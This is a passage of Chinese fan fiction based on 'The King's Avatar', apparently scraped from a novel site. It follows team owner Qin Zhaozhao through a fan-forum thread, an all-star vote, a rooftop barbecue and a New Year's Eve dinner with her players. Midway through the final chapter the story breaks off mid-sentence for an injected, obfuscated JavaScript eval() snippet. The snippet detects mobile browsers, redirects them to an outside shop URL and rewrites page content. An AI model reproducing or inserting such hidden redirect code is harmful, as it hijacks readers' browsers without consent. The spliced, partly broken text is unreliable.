苏沐橙都夸了?哇,那可是联盟女神!秦总这波真是圈粉范围极广。 66L 散了散了,该去秦总微博底下打卡了。今天也是想为秦总打工的一天呢!(做梦)让那些酸鸡自己跳脚去吧,咱们夸咱们的。 67L 楼主 感谢各位补充,也感谢部分朋友提供了“不同角度”的讨论。资料更全了,秦总形象也更立体了——有钱有行动力,护短但讲理,性格直率还有点莽,关键是人缘好像还挺好?这老板,我粉定了! 68L 最后喊一句:秦昭昭!霸图的宝藏老板!继续冲啊!期待你和你的银河战舰接下来的表现!,也期待下次还有什么新剧情(吃瓜脸) 69L +10086!秦总,饭随爱豆,以后我也要努力赚钱,变得像你一样又刚又飒! 70L 好了,楼盖得差不多了,收工!大家该干嘛干嘛去,别忘了去秦总微博加个关注点个赞,用实际行动支持咱们新晋的“网红老板”! 24.买下霸图的第二十四天 场馆修好后,霸图在重新安排的比赛中干净利落地击败了嘉世,而且是大比分获胜。 团队赛结束时,秦昭昭从座位上蹦起来,差点把手里的小旗子甩出去。台上,韩文清摘下耳机,朝观众席看了一眼。那眼神很短暂,但秦昭昭觉得自己接收到了。 赛后回酒店的大巴车上,气氛轻松得像是刚春游回来。 张佳乐靠在椅背上哼歌,小辫子随着车子的晃动一翘一翘的。林敬言手腕上贴着药膏,但笑容很舒展。白言飞和秦牧云两个凑在一起看比赛录像回放,时不时发出“这波配合漂亮”的赞叹。韩文清还是那副严肃样子,但眉头难得地没有皱紧。张新杰推了推眼镜,正在平板上写赛后总结,手指敲击屏幕的声音规律而轻快。 秦昭昭坐在靠窗的位置,看着窗外H市的夜景。 雨停了,街道被洗得干干净净,霓虹灯在水洼里投出斑斓的倒影。她想起火灾那天晚上自己狼狈地站在雨中,想起陶轩那张发绿的脸,想起工程队连夜抢修场馆的灯光,想起叶秋那副“陶轩活该”的表情…… 然后她没忍住,笑出了声。 “秦总,笑什么呢?”张佳乐转过头问。 “没什么,”秦昭昭抹了抹眼角,“就是觉得……挺爽的。” “确实挺爽。”林敬言接话,“嘉世主场,咱们赢得这么干脆,陶轩现在估计在办公室摔东西呢。” “活该。”秦昭昭哼了一声,“谁让他不检修电路,还差点伤着你们。” 她说这话时语气特别认真,像是这件事比赢比赛还重要。 韩文清转过头看她。 秦昭昭察觉到视线,也转过头。两人目光对上,秦昭昭眨了眨眼,韩文清很快移开视线,重新看向前方。 回到Q市后的第二天,全明星投票通道正式开启。 秦昭昭一大早就在办公室里刷网页。她盘腿坐在老板椅上,面前摆着三台平板电脑,一台显示官方投票页面,一台开着微博看实时讨论,还有一台在放荣耀比赛集锦当背景音。 “让我看看……”她咬着手指,眼睛盯着屏幕,“叶秋……还是第一啊。” 虽然叶秋从不露面,虽然嘉世这赛季状态起伏,但“斗神”的人气依旧稳如泰山。紧随其后的是轮回的周泽楷,那张脸配上顶尖操作,票数涨得飞快。 再往下滑—— “韩文清,第三!”秦昭昭眼睛亮了,“张佳乐第四!张新杰第六!林敬言第八!” 她猛地从椅子上站起来,在原地转了个圈。 四个人!霸图有四个选手进入全明星前十! “太棒了太棒了!”她抓起手机就要发消息,但想了想又放下,“不行,得先确认一下……” 她重新坐下,刷新页面。票数还在涨,但排名基本稳定了。韩文清的票数离周泽楷只差几万,张佳乐紧跟在后面,张新杰和林敬言的排名也稳稳地占据中段。 秦昭昭盯着屏幕看了足足三分钟,确定排名不会有大变动后,终于忍不住了。 她打开微博,编辑了一条: “凭实力说话。” 配图是官方投票页面的截图,霸图四个选手的名字被红圈圈了出来。 点击发送。 放下手机,秦昭昭深吸一口气,又长长地呼出来。她走到窗边,看着外面训练场上正在晨跑的队员们,心里那股高兴劲儿像泡泡一样往上冒。 然后手机开始震动。 不是电话,是微博提示音。一条,两条,三条……很快就变成了密集的“叮咚叮咚”。 秦昭昭拿起手机一看,愣住了。 先是喻文州点赞,还评论了一句:“实至名归。” 接着是王杰希:“恭喜。” 然后是肖时钦:“霸图这赛季确实强。” 楚云秀发了个“鼓掌”的表情包。 再往下翻,黄少天转发了她的微博,配文:“老韩确实厉害不过下次见面还是得输给我们蓝雨!张佳乐你那百花式打法什么时候能打中我一次啊?张新杰的战术布置我研究透了下次一定破!林敬言手好了没好了咱们竞技场约一场!” 典型的黄少天风格,字数多得屏幕都装不下。 秦昭昭看得哭笑不得。 而最让她惊讶的是—— 霸图的所有队员,一个接一个,全部点赞了她的微博。 韩文清是第一个。他的微博平时像僵尸号,除了俱乐部要求的宣传外从不发东西,点赞记录更是空白。但今天,他点赞了。 接着是张新杰、张佳乐、林敬言、白言飞、秦牧云…… 甚至连训练营的几个小孩都跑来点赞评论:“秦总威武!”“霸图牛逼!” 秦昭昭捧着手机,坐在窗台上,一条一条地往下翻。 每看到一个熟悉的名字,她就笑一下。 笑着笑着,眼眶又有点热。 她赶紧揉了揉眼睛,小声嘀咕:“真是的……有什么好哭的……” 但嘴角一直向上翘着,怎么也压不下来。 第二天早上,秦昭昭是哼着歌进训练室的。 她今天穿了件米白色的衬衫,头发扎成丸子头,脸上化了淡妆,整个人看起来明亮又精神。手里还拎着个大袋子,袋子里装着各种零食。有薯片、巧克力、果冻、牛肉干,满满当当。 “早啊各位!”她把袋子放在桌上,“来,吃点零食,补充能量!” 正在热身的张佳乐第一个凑过来:“秦总今天心情这么好?” “特别好!”秦昭昭从袋子里掏出一包薯片扔给他,“接着!” 张佳乐稳稳接住,撕开包装:“因为全明星投票?” “对啊!”秦昭昭眼睛弯成月牙,“咱们有四个人进了前十!这不得庆祝一下?” 她说着,又给每个人发零食。韩文清得到一包原味薯片,张新杰是一盒低糖饼干,林敬言是独立包装的坚果,白言飞和秦牧云是巧克力。 发完一圈,秦昭昭拍了拍手,站在训练室中央,清了清嗓子。 “那个,我宣布个事儿。” 所有人都看向她。 秦昭昭挺直腰板,努力让自己看起来严肃一点,但眼里的笑意藏不住:“为了庆祝咱们霸图有四个人入选全明星,我决定,今天晚上,天台烤肉派对!” 训练室里安静了两秒。 然后张佳乐第一个反应过来,薯片都忘了嚼:“烤肉?在天台?” “对!”秦昭昭点头,“我昨天就让后勤去准备了。烤架、炭火、食材、调料……全都有。咱们晚上训练结束后,上去边烤边吃,看夜景,聊聊天。” 她越说越兴奋:“我想好了,牛排、五花肉、鸡翅、香菇、玉米……都准备上。饮料也有,果汁可乐啤酒,想喝什么喝什么。对了,还有蛋糕!我订了个‘恭喜全明星’的蛋糕,特别大!” 她手舞足蹈地比划着,像个在策划生日派对的小孩。 林敬言看着她那副兴奋样子,忍不住笑了:“秦总,您这是把天台当烧烤摊了?” “天台怎么了?”秦昭昭理直气壮,“咱们俱乐部天台那么大,空着也是空着。而且风景好啊,能看到海呢!” 一直没说话的韩文清开口了:“安全吗?” “绝对安全!”秦昭昭拍胸脯保证,“我让后勤检查过了,灭火器都备好了,烤架周围也做了防火处理。而且咱们就在边上烤,不靠近栏杆,不会有事的。” 张新杰推了推眼镜:“食材新鲜吗?调料会不会太咸?” “新鲜!都是今天早上送来的。调料我也交代了,少盐少油,健康第一。”秦昭昭看向张新杰,眼神诚恳,“张副队你放心,我都考虑到了。” 张新杰点点头,没再说什么。 白言飞和秦牧云两个小年轻已经兴奋起来了:“秦总,我们能带手机上去拍照吗?” “能啊!随便拍!”秦昭昭大手一挥,“发微博发朋友圈都行!就是要让所有人都知道,咱们霸图今天庆祝!” 她说完,环视一圈:“怎么样?大家都有空吧?没别的安排吧?” 张佳乐笑:“有烤肉吃,没空也得有空啊。” 林敬言点头:“我没事。” 白言飞和秦牧云猛点头。 张新杰推了推眼镜:“训练可以提前半小时结束。” 所有人都看向韩文清。 韩文清抱着手臂,眉头微皱,像是在思考什么严肃问题。过了几秒,他才开口:“别弄太晚,明天还要训练。” 这就是同意了。 秦昭昭眼睛一亮:“放心!十点前一定结束!不影响休息!” 事情就这么定下来了。 一整天,秦昭昭都处于一种亢奋状态。 她上午在训练室后面看队员们训练时,脑子里已经在盘算晚上要烤什么、先烤什么、蘸料怎么配。中午吃饭时,她特意跑去食堂后厨,跟厨师确认食材的准备情况。下午她又跑到天台,看着后勤人员布置场地,指挥他们把桌椅摆在哪里、烤架放在哪里、灯怎么挂。 “秦总,您也太认真了。”后勤主管擦着汗说,“就一个烤肉派对,不用这么……” “要的要的!”秦昭昭认真地说,“这可是咱们战队第一次烤肉派对,必须办好了。” 她站在天台中央,环视四周。 霸图俱乐部的天台很大,平时用来晾晒一些训练用的器材,或者让队员上来透透气。但现在被布置得焕然一新,靠墙摆了两张长桌,铺着蓝白格子的桌布,桌上放着餐具和饮料。中间是三个烤架,炭火已经准备好。周围挂了一圈小彩灯,这会儿还没亮,但晚上一定很漂亮。 最让秦昭昭满意的是视野,从这里看出去,能看到大半个Q市,远处是海,海面上有星星点点的渔船灯光。晚风带着海水的咸味吹过来,很舒服。 “完美。”秦昭昭满意地点头。 晚上七点半,训练提前结束。 秦昭昭第一个冲出训练室,直奔天台。她换了身衣服,浅蓝色的卫衣和牛仔裤,头发扎成马尾,看起来利落又活泼。 到天台时,后勤人员已经把一切准备好了。炭火已经点着,食材整整齐齐摆在旁边的桌上,饮料冰在桶里,蛋糕放在最显眼的位置。 “辛苦了辛苦了!”秦昭昭跟后勤人员道谢,“剩下的我们自己来就行,你们也早点下班吧!” 后勤人员离开后,秦昭昭一个人站在天台,深吸一口气。 空气中飘着淡淡的炭火味,混合着海风的咸味,还有食材的香气。小彩灯亮起来了,暖黄色的光晕洒在桌布上,温馨又热闹。 “哇——” 身后传来惊叹声。 秦昭昭转过身,看到队员们陆续上来了。 张佳乐走在最前面,他换了身休闲装,红头发在灯光下特别显眼:“秦总,您这布置得可以啊!跟电视剧里似的!” “那是!”秦昭昭骄傲地挺胸。 林敬言跟在后面,手腕上还贴着药膏,但表情很轻松:“辛苦了秦总。” “不辛苦不辛苦!”秦昭昭摆手,“你们训练才辛苦呢!” 白言飞和秦牧云兴奋地东看西看,掏出手机开始拍照。 张新杰还是那副严谨样子,上来后先检查了烤架周围的安全措施,确认没问题后才点点头:“可以开始了。” 秦昭昭看向楼梯口,韩文清还没上来。 她正想着要不要下去叫他,楼梯传来脚步声。韩文清上来了,他也换了衣服,深灰色的运动服,他手里还拿着件外套,上来后看了看四周,把外套搭在椅子上。 “韩队!”秦昭昭挥手,“快来快来,准备开烤了!” 韩文清走过来,看了一眼烤架:“谁烤?” “我啊!”秦昭昭举起夹子,跃跃欲试,“我负责烤,你们负责吃!” “你会吗?”韩文清打量了一下问得很直接。 “当然会!”秦昭昭不服气,“我专门学过的!烤出来的肉外焦里嫩,保证好吃!” 张佳乐凑过来:“秦总,需要帮忙吗?” “不用不用!”秦昭昭已经开始往烤架上铺肉了,“你们坐着等吃就行!” 话是这么说,但真烤起来,场面还是有点混乱。 第一个难题是火候。秦昭昭信心满满地把牛排铺上去,结果火太大,牛排边缘很快就焦了。她手忙脚乱地翻面,又洒了太多调料,呛得自己直咳嗽。 “咳咳……等等等等,我调整一下……” 韩文清看不下去了,走过来接过她手里的夹子:“我来。” “啊?韩队你会烤?”秦昭昭惊讶。 “嗯。”韩文清应了一声,开始调整炭火的位置。他把中间的火拨到两边,让烤架受热均匀,然后把焦掉的牛排夹到一边,重新铺上新的。 动作熟练,有条不紊。 秦昭昭站在旁边看着,眼睛都直了:“韩队……你居然会这个?” “以前野营学过。”韩文清简短地回答,手里动作没停。 张佳乐也凑过来了夸奖道:“老韩可以啊!深藏不露!” 林敬言笑着摇头:“看来今晚的主厨要换人了。” 秦昭昭有点不好意思:“那……那韩队你烤,我打下手!我帮你递调料!” 于是分工明确了,韩文清负责烤,秦昭昭负责递东西,张佳乐在旁边当“技术指导”,虽然大多数时候在捣乱。林敬言负责摆盘,张新杰负责确认食物熟度,白言飞和秦牧云负责拍照和倒饮料。 烤架上的肉开始滋滋作响,香气弥漫开来。 韩文清烤得很认真。他先把五花肉铺在边缘,让油脂慢慢滴下来,增加香味。牛排放在中间,翻面的时机把握得恰到好处。鸡翅用锡纸包着放在角落,小火慢烤。香菇和玉米摆在最边上,时不时刷点油。 秦昭昭在他旁边忙前忙后。 “韩队,盐!” 韩文清伸手,秦昭昭把盐罐子递过去。 “胡椒粉!” 递过去。 “蜂蜜!刷鸡翅的!” 递过去。 两人配合居然很默契,一个动作一个眼神就知道对方要什么。 第一波肉烤好了。 林敬言把烤好的肉夹到盘子里,分给大家。张新杰确认过熟度后点头:“可以吃了。” 秦昭昭迫不及待地切了块牛排,吹了吹,咬了一口。 然后她眼睛瞪大了。 “好吃!”她含糊不清地说,“真的好吃!外焦里嫩,咸淡正好!” 韩文清看了她一眼,没说话,但嘴角很轻微地向上弯了一下。 张佳乐也吃了块五花肉,竖起大拇指:“老韩,你这手艺可以开店了!” “确实不错。”林敬言点头,“火候掌握得很好。” 白言飞和秦牧云已经顾不上说话,埋头猛吃。 张新杰推了推眼镜,夹了块香菇,仔细品尝后说:“可以再烤三十秒,会更入味。” 韩文清点头:“下一批注意。” 气氛彻底热络起来。 大家围在烤架旁边,边吃边聊。张佳乐讲起在百花时的趣事,说有一次队内聚餐,孙哲平把厨房点着了,两个人被经理骂得狗血淋头。林敬言说起呼啸的往事,说方锐那小子总偷他的零食,被抓到了还理直气壮说“前辈要照顾后辈”。白言飞和秦牧云讲训练营的事,说有一次两个人偷偷半夜起来加练,结果撞见张新杰也在训练室,吓得差点转身就跑,两人还问那时候张新杰在训练室干嘛,不应该早就睡了。 秦昭昭听得津津有味,时不时插两句:“然后呢然后呢?” 韩文清话不多,但烤得很认真。他注意到秦昭昭喜欢吃鸡翅,就多烤了几个,放在她盘子里。 秦昭昭发现了,抬头冲他笑:“谢谢韩队!” 韩文清“嗯”了一声,转过头继续烤肉,但耳朵尖有点红。 张新杰注意到了这个细节,推了推眼镜,没说话。 吃了一会儿,秦昭昭想起来还有蛋糕。 “等等等等!先别吃了!蛋糕还没切呢!” 她跑过去把蛋糕端过来。蛋糕很大,两层,上面用奶油写着“恭喜霸图四星闪耀”,周围还点缀着霸图队徽的图案。 “来,许愿!”秦昭昭点上蜡烛,“虽然不过生日,但也可以许愿!许个愿,祝咱们全明星周末表现出色,祝咱们这赛季拿冠军!” 她说完,自己先闭上眼睛,双手合十,很认真地许愿。 其他人看着她,也都笑了。 张佳乐第二个闭上眼睛:“那 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“好主意!”张佳乐掏出手机,“来来来,站一起!” 大家聚拢过来。韩文清站在中间,秦昭昭站在他旁边,其他人围在两边。张佳乐把手机架在桌上,调好定时,然后跑回队伍里。 “准备了!三、二、一——” 闪光灯亮起。 照片定格——七个人围在一起,身后是烤架和满桌的食物,远处是Q市的夜景。每个人脸上都带着笑,连韩文清的表情都比平时柔和很多。 秦昭昭看着照片,特别满意:“这张我要洗出来,挂在训练室里!” “那我发微博了?”张佳乐问。 “发发发!”秦昭昭点头,“让所有人都看看,咱们霸图多团结多开心!” 张佳乐低头编辑微博,其他人继续吃蛋糕聊天。 秦昭昭端着蛋糕,走到天台栏杆边。 晚风拂面,带着海的味道。远处海面上有渔船的灯火,像落在水里的星星。城市灯火通明,车流如织,但在这个天台上,时间好像慢下来了。 她回头看了一眼。 韩文清在和张新杰讨论接下来的战术安排,表情认真。张佳乐在跟林敬言讲笑话,林敬言笑得肩膀一抖一抖的。白言飞和秦牧云在比赛谁能用筷子夹起滑溜溜的香菇,场面滑稽。 这就是她的战队……秦昭昭忽然觉得鼻子有点酸。 但她没让眼泪掉下来,而是深吸一口气眨了眨眼,把最后一口蛋糕塞进嘴里,然后大声说: “对了!我还有个惊喜!” 所有人都看向她。 秦昭昭跑回桌边,从包里掏出几个小盒子:“当当当当——全明星纪念手环!我定做的!每人一个!” 她打开盒子,里面是深蓝色的硅胶手环,上面刻着霸图的队徽,还有每个人的ID和“全明星S7”的字样。 “来,一人一个!”她开始分发,“韩队,你的。张副队,你的。张佳乐前辈,你的……” 发到林敬言时,她特意说:“这个不勒手腕,弹性很好,不会影响恢复。” 林敬言接过,笑了:“谢谢秦总。” 所有人都戴上了手环。深蓝色的一圈,在手腕上很显眼。 秦昭昭自己也戴上了,举起手:“看!我也有队服了!啊不是,是队手环!” 张佳乐晃了晃手腕:“还挺好看。” “那当然!”秦昭昭骄傲地说,“我挑了好久的颜色呢!” 韩文清低头看着手腕上的手环,沉默了几秒,然后抬头看向秦昭昭:“谢谢。” 秦昭昭脸一红,摆摆手:“谢什么谢,我是老板,应该的!” 晚上九点半,派对接近尾声。 食材吃得差不多了,饮料也喝得见底。大家帮忙收拾东西,把垃圾打包,桌椅归位。 秦昭昭站在烤架旁边,看着韩文清熟练地熄灭炭火,盖上防火罩。 “韩队,你真的什么都会啊。”她忍不住说。 韩文清没抬头:“基本技能。” “这还基本……”秦昭昭小声嘀咕,“我学了三天才勉强会烤熟……” 韩文清看了她一眼,没说话,但眼神有点无奈,又有点……温和? 秦昭昭不确定,因为那眼神太短暂了。 收拾完毕,大家准备下楼。 张佳乐伸了个懒腰,有些撑着了:“吃得好饱,明天得加练了。” “确实。”林敬言点头,“不过偶尔放松一下,感觉也不错。” 白言飞和秦牧云还在看手机:“秦总,我们能把照片发朋友圈吗?” “发发发!”秦昭昭挥手,“随便发!” 张新杰推了推眼镜:“明天训练照常,八点集合。” “收到!”所有人应声。 秦昭昭是最后一个离开天台的。她关灯前,又回头看了一眼。 天台已经恢复整洁,但空气中还残留着烤肉的香气,还有欢笑声的回音。小彩灯在黑暗中静静闪烁,像夜空里偷溜下来的星星。 她笑了笑,关上门。 下楼时,她碰见了韩文清。他站在楼梯拐角,像是在等她。 “韩队?”秦昭昭愣了一下,“你还没回房间?” “嗯。”韩文清应了一声,然后从口袋里掏出个东西,递给她。 是个小盒子。 秦昭昭接过来,打开一看,里面是个深蓝色的护腕,材质很好,边缘绣着霸图的队徽,还有一个小小的“昭”字。 “这是……”秦昭昭抬起头。 “送给你的。”韩文清说得很简短,“你玩拳法家,手腕容易累。” 秦昭昭盯着护腕看了好几秒,然后又抬头看韩文清。 韩文清移开视线,语气有点硬:“顺手买的。” 秦昭昭知道他在说谎。 这个护腕一看就是定制的,那个“昭”字绣得特别精细,不可能是“顺手买的”。 但她没戳穿。 而是把护腕戴在手腕上,大小正好,材质柔软,很舒服。 “谢谢韩队。”她笑着说,眼睛亮晶晶的,“我很喜欢。” 韩文清“嗯”了一声,转身要走。 “韩队!”秦昭昭叫住他。 韩文清停下脚步,回头。 “那个……”秦昭昭挠挠头,“今天……谢谢你烤的肉,很好吃。还有……谢谢你一直照顾我。” 她说得很诚恳,声音小小的,在安静的楼梯间里特别清晰。 韩文清看着她,看了很久。 然后他说:“你也在照顾我们。” 说完,他转身上楼,脚步很快,像是怕秦昭昭再说出什么让他不知道怎么回应的话。 秦昭昭站在原地,摸着腕上的护腕,嘴角一直向上翘着。 她忽然觉得,今晚的风特别温柔。 回到房间,秦昭昭洗了个澡,躺在床上。 她拿出手机,刷了刷微博。 张佳乐已经把合照发出去了,配文:“天台烤肉庆祝会!霸图全明星四人组威武!感谢秦总组织的完美派对!” 下面评论已经炸了。 “哇!看起来好热闹!” “韩队居然在烤肉?这画面我不敢相信!” “秦总站在韩队旁边好小一只啊哈哈!” “氛围好好,羡慕了!” “霸图这赛季真的不一样了,团队凝聚力肉眼可见。” “全明星周末加油!” 秦昭昭一条一条往下翻,笑得像个傻子。她点开合照,放大,仔细看每个人的表情。 韩文清虽然还是没什么笑容,但眼神很温和。张新杰推着眼镜,嘴角有浅浅的弧度。张佳乐笑得最灿烂,林敬言笑得很温柔,白言飞和秦牧云一副“我们太幸福了”的表情。 而她自己……笑得眼睛都眯成缝了,手里还举着个鸡翅。 秦昭昭看着照片,看了很久。然后她保存图片,设置成手机屏保。 关灯睡觉前,她又摸了摸手腕上的护腕。深蓝色的,柔软的,带着韩文清送的温暖。 25.买下霸图的第25天 Q市迎来了这个冬天最冷的一晚。 窗玻璃上结了厚厚一层霜花,路灯的光晕在寒夜里显得格外温暖。今晚是跨年夜,霸图俱乐部里却比往常更热闹几分。 餐厅早就布置好了。长桌拼在一起,铺着喜庆的红色桌布,中央摆着一大束冬青,红艳艳的果实衬着墨绿的叶子,很有节日气氛。天花板挂了一串小彩灯,暖黄色的光洒下来,把每个人的脸都照得柔和了几分。 大屏幕开着,春节晚会的声音作为背景音,不时传来主持人洪亮的祝福和观众的笑声。 “来来来,都坐都坐!”秦昭昭系着围裙从厨房出来,手里端着一大盘热气腾腾的饺子,“饺子来啦!猪肉白菜馅儿的,我自己包的!” “秦总亲自包饺子?”张佳乐眼睛一亮,凑过来看,“嚯,这饺子长得还挺标致!” “那当然!”秦昭昭得意地昂起头,“我跟着食堂师傅学了一下午呢!” 她把饺子放在桌上,又转身回厨房端菜。林敬言想帮忙,被她赶了回来:“今天你们都是客人,我来就行!” 不一会儿,桌上就摆满了菜。除了饺子,还有红烧鱼、糖醋排骨、清炒时蔬、菌菇汤……每道菜都冒着热气,香气弥漫了整个餐厅。 韩文清最后一个进来。他换了身深灰色的家居服,看见满桌的菜,他挑了挑眉:“这么多?” “跨年夜嘛,当然要丰盛一点!”秦昭昭解下围裙,在桌子一端坐下,“来来来,开动开动!别客气!” 大家陆续入座。张新杰坐在秦昭昭左边,他今天穿了件浅灰色毛衣,张佳乐坐在对面,红头发在灯光下特别显眼。林敬言坐在张佳乐旁边,白言飞和秦牧云早就眼巴巴地盯着红烧鱼了。 “先干杯!”秦昭昭举起果汁杯,“新年快乐!祝咱们霸图明年拿冠军!” “新年快乐!”所有人都举杯。 杯子碰在一起,发出清脆的声响。 喝过果汁,大家开始动筷子。秦昭昭先给每人夹了个饺子:“尝尝我手艺!” 张佳乐第一个咬下去,然后竖起大拇指:“不错!皮薄馅大,咸淡正好!” “真的?”秦昭昭眼睛亮了,“没骗我?” “骗你干嘛。”张佳乐又夹了一个,“比我妈包得还好吃。” 这话夸得太夸张,秦昭昭噗嗤笑出声:“得了吧你,就会说好听话。” 但嘴角一直向上翘着。 大家边吃边聊,话题从比赛聊到训练,从训练聊到最近看的电影,从电影聊到各自家乡过年的习俗。餐厅里暖洋洋的,笑声不断。 吃到一半,秦昭昭忽然盯着张佳乐看了一会儿,然后眯起眼睛:“张佳乐,你是不是……胖了?” 张佳乐正往嘴里塞排骨,听到这话差点呛着:“什么?” “我说你胖了。”秦昭昭指了指他的脸,“你看,脸颊都圆了。是不是来霸图之后吃得太好了?” 张佳乐放下筷子,摸了摸自己的脸:“有吗?我没觉得啊……” “有。”秦昭昭肯定地点头,“你刚来的时候下巴尖着呢,现在变圆了。” 张佳乐转头问林敬言:“老林,我真胖了?” 林敬言推了推眼镜,仔细打量了他一下:“嗯,好像是有点。” “不可能!”张佳乐不服气,“我每天训练那么累,怎么可能胖!” 秦昭昭笑:“累归累,但咱们食堂伙食好啊。你看红烧鱼,糖醋排骨,还有我包的饺子……都是高热量的。你每天这么吃,不胖才怪呢。” 张佳乐被她说得一愣一愣的,下意识摸了摸肚子。 这时候,一直安静吃饭的张新杰忽然抬起头,推了推眼镜,目光扫过秦昭昭。 那眼神很认真,像是在观察什么数据。 秦昭昭被他看得莫名其妙:“张副队,你看我干嘛?” 张新杰推了推眼镜,语气平静地说:“秦总也胖了一些。” 餐厅里瞬间安静。 连春晚背景音里的小品都正好到了沉默的包袱点。 秦昭昭张着嘴,愣了三秒,然后脸“唰”一下红了:“我……我胖了?!” 张新杰点点头,很客观地说:“根据我的观察,您最近确实比刚接手俱乐部时圆润了一些。主要体现在脸颊和……” 他顿了顿,似乎在想合适的词。 “和什么?”秦昭昭瞪大眼睛。 “和腰围。”张新杰说完,又补充了一句,“不过这是好事,说明您最近营养摄入充足,作息规律。” 他说得特别正经,但秦昭昭已经听不进去了。 “我胖了……我真的胖了?”她低头看看自己,又摸摸脸,整个人都蔫了,“怪不得我前几天穿那条牛仔裤觉得紧了……我还以为是洗缩水了……” 她这副受打击的样子太明显,张新杰这才意识到自己可能说错话了。 “我不是那个意思。”他赶紧解释,“我的意思是,能吃是福,健康最重要……” “所以你还是觉得我胖了。”秦昭昭抬起头,泪眼汪汪地看着他。 张新杰:“……” 他推了推眼镜,第一次觉得语言是这么苍白无力。 秦昭昭又把目光投向韩文清,眼神里满是求助:“韩队,你说,我胖了吗?” 韩文清正在夹菜,听到这话动作顿了一下。 他抬起头,看向秦昭昭。 秦昭昭今天穿了件米白色的毛衣,毛衣有点宽松,看不出来胖没胖。但她正眼巴巴地看着自己,眼睛湿漉漉的,像是被欺负了的小动物。 韩文清想起之前背她回房间时的重量——确实比第一次背她时重了一点。但他记得那天她因为生理期不舒服,整个人蜷在他背上,轻得让他担心。 他又想起上上次火灾后她冲进火场拉张佳乐出来的样子,那么小的个子,却有那么大的力气。 他还想起她总是蹦蹦跳跳地在训练室里转悠,活力满满的样子。 …… 韩文清放下筷子,很认真地看着秦昭昭,说:“你没有胖。”他说得特别肯定。 秦昭昭眨了眨眼:“真的?” “嗯。”韩文清点头,“和以前一样。”他说完,又补充了一句,“这样挺好。” 秦昭昭被他说得脸又红了,但这次是高兴的。 林敬言在旁边看着,忍不住笑了,转头对张佳乐说:“你看,秦总没胖,是你胖了。” 张佳乐立刻炸毛:“老林你瞎说什么!我哪儿胖了!” “你自己摸摸肚子。”林敬言慢条斯理地说,“来霸图之前,你有小肚子吗?” 张佳乐下意识摸了摸肚子,然后僵住了。 好像……确实……比以前软了一点? “那是肌肉放松!”他嘴硬,“我训练那么辛苦,怎么可能长胖!” “训练辛苦和吃得多不冲突。”林敬言笑,“你看你刚才吃了多少红烧鱼。” 张佳乐被他说得哑口无言,气得直接伸手,把林敬言盘子里那块他特意留到最后准备享受的糖醋排骨夹走了。 “喂!”林敬言抗议,“那是我的!” “现在是我的了!”张佳乐得意地咬了一口,“让你说我胖!” 两人斗嘴的样子太滑稽,大家都笑了。 张新杰看着秦昭昭重新展露笑容,心里松了口气。但他觉得自己刚才确实说错话了,于是默默夹了一筷子清炒时蔬放到秦昭昭碗里。 秦昭昭看着碗里多出来的青菜,愣了一下:“张副队?” “多吃蔬菜,营养均衡。”张新杰推了推眼镜,表情特别认真。 秦昭昭被他这副“我在弥补错误”的样子逗笑了,点点头:“好,我吃。” 气氛重新热络起来。 大家继续吃饭,聊天,看春晚。小品演到好笑的地方,餐厅里爆发出阵阵笑声。窗外不时传来远处烟花绽放的声音,虽然看不到,但能想象出夜空被照亮的样子。 秦昭昭吃着碗里的菜,心里暖暖的。 这就是跨年夜。 和她的队员们在一起,热热闹闹地吃饭,开开心心地聊天。 虽然刚才被说胖了有点受打击,但韩文清那句“你没有胖”又让她高兴起来。 她偷偷瞄了韩文清一眼。 韩文清正在认真吃饺子,侧脸线条硬朗,眉头微皱,像是在思考什么严肃问题。但秦昭昭注意到,他刚才给她夹了块鱼肉,放在她碗边。 很小的一块,没有刺,秦昭昭夹起来吃了。 吃完饭,大家帮忙收拾桌子。秦昭昭想洗碗,被张新杰拦住了。 “秦总,您休息吧,我们来。”张新杰已经挽起了袖子。 “对啊秦总,您做饭辛苦了,洗碗这种活儿交给我们。”张佳乐也凑过来。 最后是韩文清一句话定音:“你去休息。” 秦昭昭只好乖乖去坐着。 她窝在沙发里,抱着抱枕,看着电视里歌舞表演。其他人在厨房洗碗,传来水声和说笑声。 过了一会儿,张新杰从厨房出来,看见秦昭昭坐在沙发上,犹豫了一下,走了过来。 “秦总。”他在沙发另一头坐下。 “嗯?”秦昭昭转过头。 张新杰推了推眼镜,表情有点严肃:“刚才在饭桌上,我说您胖了,对不起。” 秦昭昭愣了一下:“啊?” “我不该那么说。”张新杰很认真地说,“虽然我说的是事实,但这样说会让您不开心。我道歉。” 他说得特别正式,像是在做赛后检讨。 秦昭昭盯着他看了三秒,眨了眨眼,然后“噗嗤”一声笑了出来。 张新杰被她笑得莫名其妙:“秦总?” “张副队,你也太可爱了吧!”秦昭昭笑得前仰后合,“这事我早忘了!你怎么还专门来道歉呢!” 张新杰被她笑得有点窘迫,推了推眼镜:“我只是觉得……应该道歉。” “不用不用!”秦昭昭摆摆手,“我知道你不是那个意思。你就是……太认真了。” 她说着,又笑起来:“不过你这样真的好可爱啊,一本正经地道歉,耳朵都红了。” 张新杰下意识摸了摸耳朵,果然有点烫。 他连忙站起来:“那个……我去看看他们洗好碗没。” 说完,转身就走,脚步比平时快了不少。 秦昭昭看着他有点慌乱的背影,笑得更大声了。 她以前觉得张新杰永远冷静克制,永远井井有条,但今天她发现,原来他也会说错话,也会不好意思,也会耳朵红。 这样的张新杰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982254|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比平时那个严谨的副队长,更生动,更可爱。 秦昭昭笑着笑着,忽然觉得心情特别好。 晚上十点,大家陆续回房间休息。 秦昭昭洗漱完毕,躺在床上,却怎么也睡不着。 可能是因为跨年夜太兴奋了,可能是因为晚饭吃得太饱了,也可能是因为……脑子里总在回放刚才的一幕幕。 张佳乐和林敬言斗嘴的样子。 张新杰一本正经道歉的样子。 韩文清认真地说“你没有胖”的样子。 …… 秦昭昭翻了个身,把脸埋进枕头里。 还是睡不着。 她干脆爬起来,换了身运动服,决定去健身房跑跑步,消耗一下过剩的精力。 俱乐部的健身房在二楼,二十四小时开放。秦昭昭推门进去时,里面开着灯,但很安静。 